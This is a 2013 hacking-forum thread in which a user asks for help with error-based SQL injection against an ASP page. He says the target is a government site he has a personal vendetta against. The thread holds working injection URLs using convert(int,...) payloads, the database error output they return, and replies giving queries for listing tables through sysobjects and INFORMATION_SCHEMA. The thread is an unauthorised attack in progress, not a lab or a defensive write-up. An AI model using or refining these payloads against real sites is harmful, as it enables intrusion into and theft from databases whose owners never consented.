

Forum: [Hack Forums](#)

Thread: [MsSQLi](#)

SHADOW REALM - October 10, 2013, 1:36 am

I'm following this guide <http://www.exploit-db.com/papers/12975/>

But I can't seem to get the tables, Anybody know?

site.com/toolbox/desktop/opencourse.asp?Group=34+and+1=convert(int,user_name())--&MemberId=277469&Role=S&Course=23

and the error that is thrown is

Error Type:

Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)

[Microsoft][ODBC SQL Server Driver][SQL Server]Conversion failed when converting the nvarchar value 'asc' to data type int.

/toolbox/desktop/opencourse.asp , line 227

With

site.com/toolbox/desktop/opencourse.asp?Group=34+and+1=convert(int,(select+top(1)+table_name+from+information_schema))--&MemberId=277469&Role=S&Course=23

Error Type:

Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)

[Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near the keyword 'top'.

/toolbox/desktop/opencourse.asp , line 227

The version is

Microsoft SQL Server 2008 R2 (SP1) - 10.50.2550.0 (X64) Jun 11 2012 16:41:53 Copyright © Microsoft Corporation Standard Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1) (Hypervisor) ' to data type int.

ZakyZerra - October 10, 2013, 2:05 am

maybe,u can give me the site hahahaha

SHADOW REALM - October 10, 2013, 2:25 am

(Oct 10, 2013 02:05 AM)ZakyZerra Wrote: [\[CITE\]](#) maybe,u can give me the site hahahaha
You have made 1 thread about SQLi. And it was asking for help

So no. Even though I don't really care about it, It's le .gov site and le personal vendetta

J?ey - October 10, 2013, 2:20 pm

I've always wanted to learn how to inject mssql :L

DeltaSierra96 - October 10, 2013, 3:59 pm

This wouldn't happen to be anything to do with Australia, would it?

em616 - October 11, 2013, 9:32 am

you already have get the first table

Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)

[Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near the keyword '[b]top[b]'.
/toolbox/desktop/opencourse.asp , line 227

ZakyZerra - October 12, 2013, 12:10 am

(Oct 10, 2013 02:25 AM)SHADOW REALM Wrote: [\[CITE\]](#) You have made 1 thread about SQLi. And it was asking for help

So no. Even though I don't really care about it, It's le .gov site and le personal vendetta follow me https://twitter.com/_anuitu_
i will help u

ShadowCloud - October 12, 2013, 12:16 am

Have you tried to select it from sysobjects instead?

Code SELECT name FROM sysobjects where type = 'u'

Alternatively have a go with:

Code select top(1) table_name from INFORMATION_SCHEMA.TABLES